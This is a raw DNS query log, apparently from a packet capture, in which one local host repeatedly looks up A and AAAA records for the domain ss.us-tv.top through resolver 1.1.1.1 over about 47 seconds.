Nov 2, 2024 04:00:32.436300993 CET	192.168.2.13	1.1.1.1	0xe7cb	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:32.443481922 CET	192.168.2.13	1.1.1.1	0xe7cb	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:32.443717003 CET	192.168.2.13	1.1.1.1	0xfac1	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:33.463413954 CET	192.168.2.13	1.1.1.1	0x79c6	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:33.463465929 CET	192.168.2.13	1.1.1.1	0x67e4	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:33.472213984 CET	192.168.2.13	1.1.1.1	0x67e4	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:33.472264051 CET	192.168.2.13	1.1.1.1	0x79c6	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:34.493273020 CET	192.168.2.13	1.1.1.1	0x57a2	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:34.493422985 CET	192.168.2.13	1.1.1.1	0x36fc	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:34.500610113 CET	192.168.2.13	1.1.1.1	0x36fc	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:34.585834026 CET	192.168.2.13	1.1.1.1	0x57a2	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:35.605370998 CET	192.168.2.13	1.1.1.1	0xba2d	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:35.606091976 CET	192.168.2.13	1.1.1.1	0x7d62	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:35.612786055 CET	192.168.2.13	1.1.1.1	0xba2d	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:35.612931967 CET	192.168.2.13	1.1.1.1	0x7d62	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:35.619549036 CET	192.168.2.13	1.1.1.1	0x7d62	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:36.935549974 CET	192.168.2.13	1.1.1.1	0x1445	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:36.936116934 CET	192.168.2.13	1.1.1.1	0x4ab3	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:36.942675114 CET	192.168.2.13	1.1.1.1	0x1445	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:36.943129063 CET	192.168.2.13	1.1.1.1	0x4ab3	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:37.963660955 CET	192.168.2.13	1.1.1.1	0xb664	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:37.964215040 CET	192.168.2.13	1.1.1.1	0x1e7d	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:37.971095085 CET	192.168.2.13	1.1.1.1	0xb664	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:37.971363068 CET	192.168.2.13	1.1.1.1	0x1e7d	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:37.977830887 CET	192.168.2.13	1.1.1.1	0x1e7d	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:39.119353056 CET	192.168.2.13	1.1.1.1	0x325	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:39.119996071 CET	192.168.2.13	1.1.1.1	0x4803	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:39.126826048 CET	192.168.2.13	1.1.1.1	0x325	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:39.127124071 CET	192.168.2.13	1.1.1.1	0x4803	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:40.144972086 CET	192.168.2.13	1.1.1.1	0x1dfc	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:40.146644115 CET	192.168.2.13	1.1.1.1	0x589a	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:40.234709024 CET	192.168.2.13	1.1.1.1	0x589a	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:40.236871958 CET	192.168.2.13	1.1.1.1	0x1dfc	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:41.252237082 CET	192.168.2.13	1.1.1.1	0x9d74	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:41.252449036 CET	192.168.2.13	1.1.1.1	0x4f2c	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:41.260814905 CET	192.168.2.13	1.1.1.1	0x9d74	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:41.261522055 CET	192.168.2.13	1.1.1.1	0x4f2c	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:42.277725935 CET	192.168.2.13	1.1.1.1	0xf7df	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:42.278636932 CET	192.168.2.13	1.1.1.1	0x3c07	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:42.285649061 CET	192.168.2.13	1.1.1.1	0xf7df	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:42.285962105 CET	192.168.2.13	1.1.1.1	0x3c07	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:43.302158117 CET	192.168.2.13	1.1.1.1	0x6d1c	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:43.302263975 CET	192.168.2.13	1.1.1.1	0x4c8	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:43.309459925 CET	192.168.2.13	1.1.1.1	0x6d1c	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:43.309510946 CET	192.168.2.13	1.1.1.1	0x4c8	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:44.332089901 CET	192.168.2.13	1.1.1.1	0xe718	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:44.333889961 CET	192.168.2.13	1.1.1.1	0xdabc	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:44.339396954 CET	192.168.2.13	1.1.1.1	0xe718	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:44.340814114 CET	192.168.2.13	1.1.1.1	0xdabc	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:45.356273890 CET	192.168.2.13	1.1.1.1	0x65dd	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:45.358294010 CET	192.168.2.13	1.1.1.1	0xf5e6	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:45.363146067 CET	192.168.2.13	1.1.1.1	0x65dd	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:45.365885973 CET	192.168.2.13	1.1.1.1	0xf5e6	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:46.381026983 CET	192.168.2.13	1.1.1.1	0xb39b	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:46.381789923 CET	192.168.2.13	1.1.1.1	0x79e1	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:46.388546944 CET	192.168.2.13	1.1.1.1	0xb39b	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:46.388617992 CET	192.168.2.13	1.1.1.1	0x79e1	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:46.395159006 CET	192.168.2.13	1.1.1.1	0x79e1	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:47.534023046 CET	192.168.2.13	1.1.1.1	0x9dca	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:47.534181118 CET	192.168.2.13	1.1.1.1	0x9d85	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:47.541243076 CET	192.168.2.13	1.1.1.1	0x9dca	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:47.541271925 CET	192.168.2.13	1.1.1.1	0x9d85	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:48.557614088 CET	192.168.2.13	1.1.1.1	0x7a4	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:48.558425903 CET	192.168.2.13	1.1.1.1	0x81e2	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:48.565438986 CET	192.168.2.13	1.1.1.1	0x7a4	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:48.565920115 CET	192.168.2.13	1.1.1.1	0x81e2	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:48.572616100 CET	192.168.2.13	1.1.1.1	0x7a4	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:49.716011047 CET	192.168.2.13	1.1.1.1	0x9f66	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:49.718998909 CET	192.168.2.13	1.1.1.1	0x1560	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:49.723825932 CET	192.168.2.13	1.1.1.1	0x9f66	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:49.726212978 CET	192.168.2.13	1.1.1.1	0x1560	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:50.743427992 CET	192.168.2.13	1.1.1.1	0x9018	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:50.746252060 CET	192.168.2.13	1.1.1.1	0x57f1	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:50.750791073 CET	192.168.2.13	1.1.1.1	0x9018	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:50.753737926 CET	192.168.2.13	1.1.1.1	0x57f1	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:51.770268917 CET	192.168.2.13	1.1.1.1	0x898d	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:51.771292925 CET	192.168.2.13	1.1.1.1	0x2b0c	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:51.777730942 CET	192.168.2.13	1.1.1.1	0x898d	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:51.779973984 CET	192.168.2.13	1.1.1.1	0x2b0c	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:51.784427881 CET	192.168.2.13	1.1.1.1	0x898d	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:52.924540997 CET	192.168.2.13	1.1.1.1	0x9927	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:52.924721003 CET	192.168.2.13	1.1.1.1	0xcf4e	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:52.931679964 CET	192.168.2.13	1.1.1.1	0xcf4e	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:52.931772947 CET	192.168.2.13	1.1.1.1	0x9927	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:53.951622963 CET	192.168.2.13	1.1.1.1	0x9666	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:53.952467918 CET	192.168.2.13	1.1.1.1	0x8b5c	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:53.958828926 CET	192.168.2.13	1.1.1.1	0x9666	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:53.959424973 CET	192.168.2.13	1.1.1.1	0x8b5c	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:54.977883101 CET	192.168.2.13	1.1.1.1	0xc4a9	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:54.978406906 CET	192.168.2.13	1.1.1.1	0x8c54	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:54.985107899 CET	192.168.2.13	1.1.1.1	0xc4a9	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:54.985440969 CET	192.168.2.13	1.1.1.1	0x8c54	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:56.004038095 CET	192.168.2.13	1.1.1.1	0x2dbf	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:56.004220963 CET	192.168.2.13	1.1.1.1	0x9b16	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:56.011765003 CET	192.168.2.13	1.1.1.1	0x9b16	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:56.011795044 CET	192.168.2.13	1.1.1.1	0x2dbf	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:57.029730082 CET	192.168.2.13	1.1.1.1	0xcf23	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:57.034935951 CET	192.168.2.13	1.1.1.1	0x15fa	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:57.036776066 CET	192.168.2.13	1.1.1.1	0xcf23	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:57.041760921 CET	192.168.2.13	1.1.1.1	0x15fa	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:58.054987907 CET	192.168.2.13	1.1.1.1	0xd069	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:58.057200909 CET	192.168.2.13	1.1.1.1	0xd42e	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:58.062190056 CET	192.168.2.13	1.1.1.1	0xd069	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:58.064168930 CET	192.168.2.13	1.1.1.1	0xd42e	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:59.077630043 CET	192.168.2.13	1.1.1.1	0xa52b	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:59.078705072 CET	192.168.2.13	1.1.1.1	0xa4d0	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:59.085206985 CET	192.168.2.13	1.1.1.1	0xa52b	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:59.085711002 CET	192.168.2.13	1.1.1.1	0xa4d0	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:00.101429939 CET	192.168.2.13	1.1.1.1	0x22cf	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:00.102124929 CET	192.168.2.13	1.1.1.1	0x1c22	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:00.108521938 CET	192.168.2.13	1.1.1.1	0x22cf	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:00.109174967 CET	192.168.2.13	1.1.1.1	0x1c22	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:00.115861893 CET	192.168.2.13	1.1.1.1	0x1c22	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:01.254208088 CET	192.168.2.13	1.1.1.1	0xf367	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:01.259512901 CET	192.168.2.13	1.1.1.1	0x11e0	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:01.261147976 CET	192.168.2.13	1.1.1.1	0xf367	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:01.266482115 CET	192.168.2.13	1.1.1.1	0x11e0	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:02.280600071 CET	192.168.2.13	1.1.1.1	0xc2cc	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:02.281407118 CET	192.168.2.13	1.1.1.1	0x4ecc	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:02.289720058 CET	192.168.2.13	1.1.1.1	0xc2cc	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:02.290047884 CET	192.168.2.13	1.1.1.1	0x4ecc	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:03.313568115 CET	192.168.2.13	1.1.1.1	0x4e4c	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:03.314732075 CET	192.168.2.13	1.1.1.1	0xa811	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:03.320761919 CET	192.168.2.13	1.1.1.1	0x4e4c	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:03.322266102 CET	192.168.2.13	1.1.1.1	0xa811	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:04.339495897 CET	192.168.2.13	1.1.1.1	0x67e4	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:04.339561939 CET	192.168.2.13	1.1.1.1	0x2ae3	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:04.346506119 CET	192.168.2.13	1.1.1.1	0x67e4	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:04.346575975 CET	192.168.2.13	1.1.1.1	0x2ae3	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:04.353087902 CET	192.168.2.13	1.1.1.1	0x67e4	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:04.353137016 CET	192.168.2.13	1.1.1.1	0x2ae3	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:05.501221895 CET	192.168.2.13	1.1.1.1	0xe424	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:05.501724958 CET	192.168.2.13	1.1.1.1	0xb694	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:05.508322954 CET	192.168.2.13	1.1.1.1	0xe424	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:05.508501053 CET	192.168.2.13	1.1.1.1	0xb694	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:06.528099060 CET	192.168.2.13	1.1.1.1	0x5a79	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:06.528922081 CET	192.168.2.13	1.1.1.1	0x1448	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:06.535823107 CET	192.168.2.13	1.1.1.1	0x5a79	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:06.536447048 CET	192.168.2.13	1.1.1.1	0x1448	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:06.543150902 CET	192.168.2.13	1.1.1.1	0x1448	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:07.681602001 CET	192.168.2.13	1.1.1.1	0x199f	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:07.683353901 CET	192.168.2.13	1.1.1.1	0x835f	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:07.688642979 CET	192.168.2.13	1.1.1.1	0x199f	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:07.690356970 CET	192.168.2.13	1.1.1.1	0x835f	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:08.709903002 CET	192.168.2.13	1.1.1.1	0x9359	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:08.713206053 CET	192.168.2.13	1.1.1.1	0x4006	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:08.717511892 CET	192.168.2.13	1.1.1.1	0x9359	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:08.720232964 CET	192.168.2.13	1.1.1.1	0x4006	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:09.742980957 CET	192.168.2.13	1.1.1.1	0x5948	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:09.743638992 CET	192.168.2.13	1.1.1.1	0x3929	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:09.750296116 CET	192.168.2.13	1.1.1.1	0x5948	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:09.750602007 CET	192.168.2.13	1.1.1.1	0x3929	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:10.770731926 CET	192.168.2.13	1.1.1.1	0xd44c	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:10.771996021 CET	192.168.2.13	1.1.1.1	0x3e2d	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:10.779644012 CET	192.168.2.13	1.1.1.1	0xd44c	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:10.780492067 CET	192.168.2.13	1.1.1.1	0x3e2d	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:11.796828032 CET	192.168.2.13	1.1.1.1	0xe571	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:11.797821045 CET	192.168.2.13	1.1.1.1	0xdfd7	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:11.804413080 CET	192.168.2.13	1.1.1.1	0xe571	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:11.805504084 CET	192.168.2.13	1.1.1.1	0xdfd7	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:11.812635899 CET	192.168.2.13	1.1.1.1	0xdfd7	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:12.950601101 CET	192.168.2.13	1.1.1.1	0x8db0	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:12.950943947 CET	192.168.2.13	1.1.1.1	0x83d9	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:12.959434032 CET	192.168.2.13	1.1.1.1	0x8db0	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:12.959465027 CET	192.168.2.13	1.1.1.1	0x83d9	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:13.975893974 CET	192.168.2.13	1.1.1.1	0x3496	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:13.975975037 CET	192.168.2.13	1.1.1.1	0x68d7	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:13.982733011 CET	192.168.2.13	1.1.1.1	0x3496	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:13.983486891 CET	192.168.2.13	1.1.1.1	0x68d7	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:14.998307943 CET	192.168.2.13	1.1.1.1	0x248d	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:15.000190020 CET	192.168.2.13	1.1.1.1	0x7d62	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:15.008697033 CET	192.168.2.13	1.1.1.1	0x248d	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:15.009938955 CET	192.168.2.13	1.1.1.1	0x7d62	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:15.015521049 CET	192.168.2.13	1.1.1.1	0x248d	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:16.154047012 CET	192.168.2.13	1.1.1.1	0x20cc	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:16.154215097 CET	192.168.2.13	1.1.1.1	0x5d0b	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:16.160959959 CET	192.168.2.13	1.1.1.1	0x20cc	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:16.246233940 CET	192.168.2.13	1.1.1.1	0x5d0b	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:17.261991978 CET	192.168.2.13	1.1.1.1	0xeeca	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:17.262377977 CET	192.168.2.13	1.1.1.1	0xdc22	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:17.268937111 CET	192.168.2.13	1.1.1.1	0xeeca	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:17.269099951 CET	192.168.2.13	1.1.1.1	0xdc22	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:17.275593996 CET	192.168.2.13	1.1.1.1	0xdc22	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:18.413451910 CET	192.168.2.13	1.1.1.1	0xda67	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:18.416376114 CET	192.168.2.13	1.1.1.1	0x9d07	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:18.420101881 CET	192.168.2.13	1.1.1.1	0xda67	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:18.423324108 CET	192.168.2.13	1.1.1.1	0x9d07	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:19.440000057 CET	192.168.2.13	1.1.1.1	0xad98	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:19.440566063 CET	192.168.2.13	1.1.1.1	0x67ab	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:19.446954966 CET	192.168.2.13	1.1.1.1	0xad98	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:19.447412014 CET	192.168.2.13	1.1.1.1	0x67ab	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
